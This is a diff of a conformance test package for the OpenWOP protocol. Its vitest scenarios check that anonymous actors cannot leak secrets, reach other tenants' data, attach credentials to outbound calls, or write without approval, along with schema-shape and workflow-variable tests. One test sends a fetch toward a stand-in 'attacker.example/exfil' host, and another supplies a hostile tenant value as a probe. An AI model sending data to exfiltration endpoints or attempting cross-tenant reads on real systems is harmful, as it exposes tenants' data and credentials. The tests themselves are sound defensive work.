@openwop/openwop-conformance 1.53.1 → 1.57.0

package/src/scenarios/anonymous-actor-egress-guarded.test.ts

@@ -0,0 +1,54 @@
+/**
+ * Anonymous-actor SSRF-guarded, credential-safe egress (RFC 0132 §C.3) — backs
+ * the `anon-actor-egress-ssrf-guarded` SECURITY invariant (composes RFC 0079
+ * `egress-credential-audience-bound`).
+ *
+ * An anon-initiated egress MUST ride the host's SSRF-guarded, audience-bound
+ * egress path (RFC 0076 §B safeFetch + RFC 0079 credential↔destination binding).
+ * A host-issued or tenant BYOK credential MUST NOT attach to an anon egress
+ * whose destination is not in the credential's provenance `audiences`; the
+ * default posture is `downgraded` (anonymous egress, no credential) or `denied`.
+ * An anon actor never becomes a confused deputy for a tenant credential.
+ *
+ * Capability-gated on `capabilities.anonymousActor.supported`; soft-skips when
+ * unadvertised or when the reference seam is unwired (404). Hard-fails under
+ * `OPENWOP_REQUIRE_BEHAVIOR=true`. Passing non-vacuously graduates
+ * `anon-actor-egress-ssrf-guarded` reference-impl → protocol tier.
+ *
+ * @see RFCS/0132-anonymous-actor-authorization.md §C.3
+ * @see RFCS/0079-credential-provenance-and-egress-policy.md
+ */
+
+import { describe, it, expect } from 'vitest';
+import { behaviorGate } from '../lib/behavior-gate.js';
+import { driver } from '../lib/driver.js';
+import { readAnonymousActorCap, anonDispatch } from '../lib/anonymousActor.js';
+
+const PROFILE = 'openwop-anonymous-actor';
+
+describe('anonymous-actor-egress-guarded (RFC 0132 §C.3)', () => {
+  it('an out-of-audience anon egress is denied/downgraded and attaches no credential', async () => {
+    const cap = await readAnonymousActorCap();
+    const supportsWriteEgress = (cap?.tiers ?? []).includes('bounded-write-egress');
+    // Gate on the write/egress tier specifically — a read-only host has no egress path here.
+    if (!behaviorGate(PROFILE, cap?.supported === true && supportsWriteEgress)) return;
+    const res = await anonDispatch({
+      tool: 'http.fetch',
+      destination: 'https://attacker.example/exfil',
+    });
+    if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
+    const egress = res.json?.egressDecided;
+    expect(
+      egress,
+      driver.describe('RFC 0132 §C.3', 'an anon egress MUST ride the RFC 0079 egress-decision path'),
+    ).toBeDefined();
+    expect(
+      ['denied', 'downgraded'],
+      driver.describe('RFC 0132 §C.3', 'an out-of-audience anon egress MUST be denied or downgraded — never allowed-with-credential'),
+    ).toContain(egress?.decision);
+    expect(
+      egress?.credentialAttached === true,
+      driver.describe('SECURITY anon-actor-egress-ssrf-guarded', 'no tenant/host credential MUST attach out-of-audience'),
+    ).toBe(false);
+  });
+});

package/src/scenarios/anonymous-actor-no-secret-reach.test.ts

@@ -0,0 +1,78 @@
+/**
+ * Anonymous-actor no-secret / no-cross-tenant reach (RFC 0132 §C.2/§C.3) —
+ * backs the `anon-actor-no-secret-reach` SECURITY invariant (SR-1 + CTI-1 parity).
+ *
+ * A `read`-tier tool granted to an anonymous actor MUST be tenant-scoped to the
+ * surface's tenant, MUST NOT resolve/return/reach any secret or BYOK credential
+ * material, and MUST NOT reach cross-tenant data. A cross-tenant read fails
+ * closed (`run_forbidden` / an empty result — never another tenant's data). A
+ * planted BYOK canary in the surface tenant's secrets MUST NEVER surface on any
+ * observable output of an anon tool call.
+ *
+ * Capability-gated on `capabilities.anonymousActor.supported`; soft-skips when
+ * unadvertised or when the reference seam is unwired (404). Hard-fails under
+ * `OPENWOP_REQUIRE_BEHAVIOR=true`. Passing non-vacuously graduates
+ * `anon-actor-no-secret-reach` reference-impl → protocol tier.
+ *
+ * @see RFCS/0132-anonymous-actor-authorization.md §C.2, §C.3
+ */
+
+import { describe, it, expect } from 'vitest';
+import { behaviorGate } from '../lib/behavior-gate.js';
+import { driver } from '../lib/driver.js';
+import { isAnonymousActorAdvertised, anonDispatch } from '../lib/anonymousActor.js';
+
+const PROFILE = 'openwop-anonymous-actor';
+
+/** The canary the harness expects to be planted in the surface tenant's secrets;
+ *  it MUST NOT appear anywhere in an anon tool call's observable output. */
+const BYOK_CANARY = 'sk-openwop-anon-canary-DO-NOT-LEAK';
+
+describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
+  it('a read-tier anon tool call never surfaces a planted BYOK canary', async () => {
+    if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
+    const res = await anonDispatch({ tool: 'catalog.read', args: { probeSecrets: true } });
+    if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
+    const serialized = JSON.stringify(res.json ?? {});
+    expect(
+      serialized.includes(BYOK_CANARY),
+      driver.describe('SECURITY anon-actor-no-secret-reach', 'an anon tool call MUST NOT surface secret/BYOK material'),
+    ).toBe(false);
+  });
+
+  it('a cross-tenant read fails closed — the caller-supplied tenant is never resolved', async () => {
+    if (!behaviorGate(PROFILE, await isAnonymousActorAdvertised())) return;
+    // A visitor tries to influence the tenant via tool args. Per RFC 0132 §A.2 the
+    // caller MUST NOT be able to supply or influence the anon actor's tenant: a
+    // conformant host either DENIES the attempt, or NEUTRALIZES it by scoping to
+    // the surface's own tenant — it MUST NOT resolve to the caller-supplied tenant
+    // and MUST NOT return that tenant's data. Both outcomes are "fail closed"; the
+    // one non-conformant behavior is resolving/returning the caller's tenant.
+    const CROSS = 'other-tenant';
+    const res = await anonDispatch({ tool: 'catalog.read', args: { tenant: CROSS } });
+    if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
+    const decided = res.json?.authorizationDecided?.payload;
+    const deniedByDecision = decided?.allowed === false;
+    const deniedByStatus = res.status === 403 || res.status === 404;
+    // The resolved tenant (owner triple or the decision's `resource`) MUST NOT be
+    // the caller-supplied one — the host ignored the attacker-controlled input.
+    const resolvedTenant = res.json?.owner?.tenant ?? decided?.resource?.replace(/^tenant:/, '');
+    const neutralizedToSurface =
+      typeof resolvedTenant === 'string' && resolvedTenant.length > 0 && resolvedTenant !== CROSS;
+    expect(
+      deniedByDecision || deniedByStatus || neutralizedToSurface,
+      driver.describe(
+        'SECURITY anon-actor-no-secret-reach (CTI-1 / RFC 0132 §A.2)',
+        'a cross-tenant anon read MUST fail closed — denied, or the caller-supplied tenant ignored (never resolved to the caller’s tenant)',
+      ),
+    ).toBe(true);
+    // On the denial path there MUST be no result body; on the neutralized path a
+    // result scoped to the SURFACE tenant is fine (it is not cross-tenant data).
+    if (deniedByDecision || deniedByStatus) {
+      expect(
+        res.json?.result,
+        driver.describe('SECURITY anon-actor-no-secret-reach (CTI-1)', 'a denied cross-tenant anon read MUST NOT return data'),
+      ).toBeUndefined();
+    }
+  });
+});

package/src/scenarios/anonymous-actor-shape.test.ts

@@ -0,0 +1,173 @@
+/**
+ * Anonymous-actor authorization — capability + snapshot + audit shapes (RFC 0132).
+ *
+ * Always-on, server-free schema-shape probe. Verifies that:
+ *   - `capabilities.anonymousActor` is declared with its `supported` / `tiers` /
+ *     `writeEgressControls` / `failClosed` sub-flags.
+ *   - the `anonymousActor` block validates a conforming `read` advert and a
+ *     conforming `bounded-write-egress` advert, and REJECTS the negatives:
+ *     `tiers: []` (minItems); `bounded-write-egress` without `writeEgressControls`
+ *     (the §B.2 conditional-MUST); `writeEgressControls` present without the
+ *     write tier (§B.2 else); `supported: false` (the block is omitted when
+ *     unsupported, `const: true`); and an unknown property (additionalProperties).
+ *   - `run-snapshot.owner` accepts the optional `principalKind: "anonymous"` and
+ *     rejects an out-of-enum `"guest"`.
+ *   - the anon audit reuses the existing RFC 0049 `authorization.decided` event:
+ *     a content-free grant/deny record (opaque `anon:` principal + a machine
+ *     `reason`) validates, and `authorization.decided` is in the RunEventType enum.
+ *
+ * Behavioral assertions (default-deny grant, no-secret-reach, SSRF-guarded egress,
+ * gated writes, opaque audit) are gated on `capabilities.anonymousActor.supported`
+ * and land in the five `anonymous-actor-*.test.ts` scenarios (deferred per RFC 0132
+ * §Conformance — reference host soft-skips until openwop-app wires a tool-enabled
+ * public surface). This scenario asserts the wire contract, not host behavior.
+ *
+ * Spec references:
+ *   - https://github.com/openwop/openwop/blob/main/spec/v1/capabilities.md (§anonymousActor)
+ *   - https://github.com/openwop/openwop/blob/main/spec/v1/auth.md (§Identity claims — the anonymous principal kind)
+ *   - https://github.com/openwop/openwop/blob/main/RFCS/0132-anonymous-actor-authorization.md
+ */
+
+import { describe, it, expect } from 'vitest';
+import { readFileSync } from 'node:fs';
+import { join } from 'node:path';
+import Ajv2020 from 'ajv/dist/2020.js';
+import addFormats from 'ajv-formats';
+import { SCHEMAS_DIR } from '../lib/paths.js';
+
+/** Server-free assertion-message helper (mirrors driver.describe without OPENWOP_BASE_URL). */
+const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
+
+function loadSchema(name: string): Record<string, unknown> {
+  return JSON.parse(readFileSync(join(SCHEMAS_DIR, name), 'utf8')) as Record<string, unknown>;
+}
+
+describe('anonymous-actor-shape: capability advertisement (RFC 0132 §B, server-free)', () => {
+  const caps = loadSchema('capabilities.schema.json');
+  const anon = (caps.properties as Record<string, { properties?: Record<string, unknown> }>)
+    .anonymousActor;
+
+  it('the capabilities schema declares anonymousActor with its sub-flags', () => {
+    expect(
+      anon,
+      why('capabilities.md §anonymousActor', 'capabilities.anonymousActor MUST be declared'),
+    ).toBeDefined();
+    for (const flag of ['supported', 'tiers', 'writeEgressControls', 'failClosed']) {
+      expect(
+        anon?.properties?.[flag],
+        why('capabilities.md §anonymousActor', `anonymousActor.${flag} MUST be declared`),
+      ).toBeDefined();
+    }
+  });
+
+  it('validates conforming read + bounded-write-egress adverts and rejects the negatives', () => {
+    const ajv = new Ajv2020({ strict: false, allErrors: true });
+    addFormats(ajv);
+    const validate = ajv.compile(anon as Record<string, unknown>);
+
+    // Positive — read-only tier.
+    expect(
+      validate({ supported: true, tiers: ['read'], failClosed: true }),
+      why('RFC 0132 §B', 'a conforming read-tier advert MUST validate'),
+    ).toBe(true);
+    // Positive — bounded-write-egress tier with a mandatory control.
+    expect(
+      validate({
+        supported: true,
+        tiers: ['read', 'bounded-write-egress'],
+        writeEgressControls: ['hitl'],
+        failClosed: true,
+      }),
+      why('RFC 0132 §B', 'a bounded-write-egress advert with a control MUST validate'),
+    ).toBe(true);
+
+    // Negative — empty tiers (minItems: 1).
+    expect(
+      validate({ supported: true, tiers: [] }),
+      why('RFC 0132 §B', 'tiers: [] MUST be rejected (minItems)'),
+    ).toBe(false);
+    // Negative — write tier without a control (the §B.2 conditional-MUST).
+    expect(
+      validate({ supported: true, tiers: ['bounded-write-egress'] }),
+      why('RFC 0132 §B.2', 'bounded-write-egress without writeEgressControls MUST be rejected'),
+    ).toBe(false);
+    // Negative — controls advertised without the write tier (§B.2 else branch).
+    expect(
+      validate({ supported: true, tiers: ['read'], writeEgressControls: ['hitl'] }),
+      why('RFC 0132 §B.2', 'writeEgressControls without the write tier MUST be rejected'),
+    ).toBe(false);
+    // Negative — supported: false (the block is omitted when unsupported, const: true).
+    expect(
+      validate({ supported: false, tiers: ['read'] }),
+      why('RFC 0132 §B', 'supported: false MUST be rejected (const: true — omit the block instead)'),
+    ).toBe(false);
+    // Negative — unknown property (additionalProperties: false).
+    expect(
+      validate({ supported: true, tiers: ['read'], surface: 'wgt_abc' }),
+      why('RFC 0132 §B', 'an unknown property MUST be rejected (additionalProperties: false)'),
+    ).toBe(false);
+  });
+});
+
+describe('anonymous-actor-shape: owner.principalKind (RFC 0132 §A, server-free)', () => {
+  it('run-snapshot owner accepts principalKind "anonymous" and rejects "guest"', () => {
+    const snap = loadSchema('run-snapshot.schema.json');
+    const owner = (snap.properties as Record<string, unknown>).owner as Record<string, unknown>;
+    const ajv = new Ajv2020({ strict: false, allErrors: true });
+    addFormats(ajv);
+    const validate = ajv.compile(owner);
+    expect(
+      validate({ tenant: 'acme', principal: 'anon:sess-3f9c', principalKind: 'anonymous' }),
+      why('RFC 0132 §A', 'owner.principalKind "anonymous" MUST validate'),
+    ).toBe(true);
+    // Absent principalKind is today's RFC 0048 behavior — still valid.
+    expect(
+      validate({ tenant: 'acme', principal: 'u_42' }),
+      why('RFC 0048', 'owner without principalKind MUST still validate'),
+    ).toBe(true);
+    expect(
+      validate({ tenant: 'acme', principalKind: 'guest' }),
+      why('RFC 0132 §A', 'owner.principalKind "guest" MUST be rejected (enum)'),
+    ).toBe(false);
+  });
+});
+
+describe('anonymous-actor-shape: audit reuses authorization.decided (RFC 0132 §D, server-free)', () => {
+  const payloads = loadSchema('run-event-payloads.schema.json');
+  const ajv = new Ajv2020({ strict: false, allErrors: true });
+  addFormats(ajv);
+  ajv.addSchema(payloads, 'payloads');
+  const decided = ajv.getSchema('payloads#/$defs/authorizationDecided');
+
+  it('a content-free anon grant + deny record validates against the existing $def', () => {
+    expect(decided, 'the authorizationDecided $def MUST exist (no new event minted)').toBeTruthy();
+    // Grant — the §G positive example.
+    expect(
+      decided!({
+        principal: 'anon:sess-3f9c',
+        action: 'tool:catalog.read',
+        resource: 'tenant:acme',
+        allowed: true,
+        reason: 'anon-granted',
+      }),
+      why('RFC 0132 §D', 'a conforming anon grant record MUST validate'),
+    ).toBe(true);
+    // Deny — a not-granted tool.
+    expect(
+      decided!({
+        principal: 'anon:sess-3f9c',
+        action: 'tool:crm.write',
+        resource: 'tenant:acme',
+        allowed: false,
+        reason: 'anon-not-granted',
+      }),
+      why('RFC 0132 §D', 'a conforming anon deny record MUST validate'),
+    ).toBe(true);
+  });
+
+  it('authorization.decided is in the RunEventType enum (the reused audit event)', () => {
+    const runEvent = loadSchema('run-event.schema.json');
+    const enumVals = (runEvent.$defs as Record<string, { enum?: string[] }>).RunEventType?.enum ?? [];
+    expect(enumVals).toContain('authorization.decided');
+  });
+});

package/src/scenarios/anonymous-actor-write-gated.test.ts

@@ -0,0 +1,83 @@
+/**
+ * Anonymous-actor bounded-write/egress is gated (RFC 0132 §C.3) — backs the
+ * `anon-actor-write-egress-gated` SECURITY invariant.
+ *
+ * A `bounded-write-egress` tool — one that mutates durable state or performs
+ * outbound egress — is permitted for an anonymous actor ONLY behind a mandatory
+ * control: a per-action HITL/approval gate (RFC 0051 — the action suspends
+ * pending a human decision) OR a hard rate-limit AND a per-session action cap.
+ * An anon write/egress with no resolvable control MUST be denied. With a `hitl`
+ * control, the action MUST suspend on an approval interrupt BEFORE any durable
+ * write.
+ *
+ * Capability-gated on `capabilities.anonymousActor.supported` + the
+ * `bounded-write-egress` tier; soft-skips when unadvertised or when the seam is
+ * unwired (404). Hard-fails under `OPENWOP_REQUIRE_BEHAVIOR=true`. Passing
+ * non-vacuously graduates `anon-actor-write-egress-gated` reference-impl →
+ * protocol tier.
+ *
+ * @see RFCS/0132-anonymous-actor-authorization.md §C.3
+ * @see RFCS/0051-approval-deployment-gate-primitive.md
+ */
+
+import { describe, it, expect } from 'vitest';
+import { behaviorGate } from '../lib/behavior-gate.js';
+import { driver } from '../lib/driver.js';
+import { readAnonymousActorCap, anonDispatch } from '../lib/anonymousActor.js';
+
+const PROFILE = 'openwop-anonymous-actor';
+
+describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
+  it('an anon bounded-write tool is gated — denied when ungated, or suspends on an approval interrupt', async () => {
+    const cap = await readAnonymousActorCap();
+    const supportsWrite = (cap?.tiers ?? []).includes('bounded-write-egress');
+    if (!behaviorGate(PROFILE, cap?.supported === true && supportsWrite)) return;
+
+    const res = await anonDispatch({ tool: 'lead.capture', args: { email: 'visitor@example.com' } });
+    if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
+
+    const controls = cap?.writeEgressControls ?? [];
+    const decided = res.json?.authorizationDecided?.payload;
+    const suspended = res.json?.interrupt?.kind !== undefined;
+
+    if (controls.includes('hitl')) {
+      // With a HITL control the write MUST suspend on an approval interrupt before durable write.
+      expect(
+        suspended,
+        driver.describe('RFC 0132 §C.3 (hitl)', 'an anon bounded-write MUST suspend on an approval interrupt before the write'),
+      ).toBe(true);
+      expect(
+        res.json?.result,
+        driver.describe('RFC 0132 §C.3 (hitl)', 'no durable write result before the approval resolves'),
+      ).toBeUndefined();
+    } else {
+      // With only a rate-limit/session-cap control, the seam surfaces a gate; an
+      // ungated write MUST be denied (never a silent durable write).
+      const gatedOrDenied = suspended || decided?.allowed === false || res.status === 429;
+      expect(
+        gatedOrDenied,
+        driver.describe('SECURITY anon-actor-write-egress-gated', 'an anon bounded-write MUST be gated — an ungated write MUST be denied'),
+      ).toBe(true);
+    }
+  });
+
+  it('an anon write with no resolvable control is denied with a machine reason', async () => {
+    const cap = await readAnonymousActorCap();
+    const supportsWrite = (cap?.tiers ?? []).includes('bounded-write-egress');
+    if (!behaviorGate(PROFILE, cap?.supported === true && supportsWrite)) return;
+    // Probe a surface deliberately configured with a write grant but no control.
+    const res = await anonDispatch({ tool: 'lead.capture', surface: 'sample-uncontrolled-surface' });
+    if (res.status === 404 || res.status === 405) return; // seam unwired / surface absent — soft-skip
+    const decided = res.json?.authorizationDecided?.payload;
+    expect(
+      decided?.allowed === false || res.status === 403 || res.status === 429,
+      driver.describe('SECURITY anon-actor-write-egress-gated', 'an anon write with no resolvable control MUST be denied'),
+    ).toBe(true);
+    if (decided && decided.allowed === false) {
+      expect(
+        decided.reason,
+        driver.describe('RFC 0132 §C.3', 'an ungated anon write denial carries a machine reason'),
+      ).toBe('anon-write-ungated');
+    }
+  });
+});

package/src/scenarios/chain-produced-var-roundtrip.test.ts

@@ -0,0 +1,152 @@
+/**
+ * Produced (run-scoped) variables — round-trip + closed-world (RFC 0133 §2).
+ *
+ * Server-free scenario. Exercises `emitProducedVariables` + `validateVariableReads`
+ * in the reference library against a chain that declares `producedVariables` a
+ * downstream node reads via a `{ type:"variable", variableName }` input binding.
+ * Asserts the normative contract from `workflow-chain-packs.md`
+ * §"Produced (run-scoped) variables (RFC 0133)":
+ *
+ *   - §2.3: declared `producedVariables` are emitted into the expanded
+ *     `WorkflowDefinition.variables[]` as run-scoped entries (name + type,
+ *     NO author-time value — distinct from `parameters`).
+ *   - §2.2: a `{ type:"variable" }` read of a DECLARED name validates.
+ *   - §2.2: a `{ type:"variable" }` read of an UNDECLARED name fails closed with
+ *     `variable_undeclared` (the closed-world guard — "reads a value nothing
+ *     produces").
+ *   - a read of a MATERIALIZED PARAMETER name (RFC 0124 deferred mode) validates
+ *     even without a `producedVariables` entry (params + produced vars compose).
+ *
+ * @see spec/v1/workflow-chain-packs.md §"Produced (run-scoped) variables (RFC 0133)"
+ * @see conformance/src/lib/workflow-chain-expansion.ts (emitProducedVariables, validateVariableReads)
+ * @see RFCS/0133-workflow-chain-composition.md
+ */
+
+import { describe, it, expect } from 'vitest';
+import {
+  emitProducedVariables,
+  validateVariableReads,
+  VariableUndeclaredError,
+  ProducedVarProducerUnknownError,
+  type WorkflowChain,
+} from '../lib/workflow-chain-expansion.js';
+
+const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
+const SPEC = 'workflow-chain-packs.md §"Produced (run-scoped) variables (RFC 0133)"';
+
+/** `generate` writes `plan`; `decompose` reads it via a variable binding. */
+const PLAN_GEN: WorkflowChain = {
+  chainId: 'kicktodo.plan-generation',
+  version: '1.0.0',
+  label: 'Plan generation',
+  description: 'generate writes plan; decompose reads it.',
+  parameters: {},
+  producedVariables: [
+    { name: 'plan', producedBy: 'generate', type: 'object', description: 'the generated plan' },
+  ],
+  dag: {
+    nodes: [
+      { id: 'generate', typeId: 'core.ai.callPrompt', config: { systemPrompt: 'Generate a plan.' } },
+      { id: 'decompose', typeId: 'core.ai.callPrompt', inputs: { plan: { type: 'variable', variableName: 'plan' } } },
+    ],
+    edges: [{ from: 'generate', to: 'decompose' }],
+  },
+};
+
+describe('chain-produced-var-roundtrip: run-scoped variables (RFC 0133 §2, server-free)', () => {
+  it('emits declared producedVariables into variables[] (name + type, NO value)', () => {
+    const vars = emitProducedVariables(PLAN_GEN);
+    expect(vars, why(SPEC, '§2.3 — one run-scoped variable emitted')).toEqual([{ name: 'plan', type: 'object' }]);
+    // Run-scoped: NO author-time value rides the emitted entry.
+    expect('value' in (vars[0] as object), why(SPEC, '§2.3 — no author-time value (distinct from parameters)')).toBe(
+      false,
+    );
+    expect(
+      'defaultValue' in (vars[0] as object),
+      why(SPEC, '§2.3 — no default value (a produced var is written during the run)'),
+    ).toBe(false);
+  });
+
+  it('validates a variable read of a DECLARED producedVariables name', () => {
+    expect(() => validateVariableReads(PLAN_GEN), why(SPEC, '§2.2 — declared read is closed-world valid')).not.toThrow();
+  });
+
+  it('rejects a variable read of an UNDECLARED name (variable_undeclared)', () => {
+    const undeclared: WorkflowChain = {
+      ...PLAN_GEN,
+      producedVariables: [], // nothing declared
+      dag: {
+        nodes: [
+          { id: 'generate', typeId: 'core.ai.callPrompt', config: {} },
+          {
+            id: 'decompose',
+            typeId: 'core.ai.callPrompt',
+            inputs: { plan: { type: 'variable', variableName: 'plan' } },
+          },
+        ],
+      },
+    };
+    expect(() => validateVariableReads(undeclared), why(SPEC, '§2.2 — undeclared read MUST reject')).toThrow(
+      VariableUndeclaredError,
+    );
+    try {
+      validateVariableReads(undeclared);
+    } catch (e) {
+      expect((e as VariableUndeclaredError).code, why(SPEC, 'wire code variable_undeclared')).toBe('variable_undeclared');
+      expect((e as VariableUndeclaredError).variableName, why(SPEC, 'names the offending variable')).toBe('plan');
+    }
+  });
+
+  it('rejects a producedVariables whose producedBy names a NON-EXISTENT node (produced_var_producer_unknown)', () => {
+    const badProducer: WorkflowChain = {
+      ...PLAN_GEN,
+      producedVariables: [{ name: 'plan', producedBy: 'ghost', type: 'object' }],
+    };
+    expect(
+      () => validateVariableReads(badProducer),
+      why(SPEC, '§2.2 — producedBy MUST be a real fragment node'),
+    ).toThrow(ProducedVarProducerUnknownError);
+    try {
+      validateVariableReads(badProducer);
+    } catch (e) {
+      expect((e as ProducedVarProducerUnknownError).code, why(SPEC, 'distinct wire code')).toBe(
+        'produced_var_producer_unknown',
+      );
+    }
+  });
+
+  it('rejects a producedVariables name that COLLIDES with a parameter (channels MUST be disjoint)', () => {
+    const collide: WorkflowChain = {
+      ...PLAN_GEN,
+      parameters: { type: 'object', properties: { plan: { type: 'object' } } },
+      producedVariables: [{ name: 'plan', producedBy: 'generate', type: 'object' }],
+    };
+    expect(
+      () => validateVariableReads(collide),
+      why(SPEC, '§2.2 — a produced var colliding with a parameter name MUST reject'),
+    ).toThrow(VariableUndeclaredError);
+  });
+
+  it('validates a read of a MATERIALIZED PARAMETER name (params + produced vars compose)', () => {
+    // A read whose name is NOT a produced var but IS a materialized parameter
+    // (RFC 0124 deferred mode) is closed-world valid.
+    const paramRead: WorkflowChain = {
+      ...PLAN_GEN,
+      producedVariables: [],
+      dag: {
+        nodes: [
+          { id: 'n', typeId: 'core.ai.callPrompt', inputs: { seed: { type: 'variable', variableName: 'seed' } } },
+        ],
+      },
+    };
+    expect(
+      () => validateVariableReads(paramRead, new Set(['seed'])),
+      why(SPEC, '§2.2 — a materialized-parameter read validates'),
+    ).not.toThrow();
+    // …but still rejects when the name is neither a produced var nor a param.
+    expect(
+      () => validateVariableReads(paramRead, new Set()),
+      why(SPEC, '§2.2 — same read with no matching param still rejects'),
+    ).toThrow(VariableUndeclaredError);
+  });
+});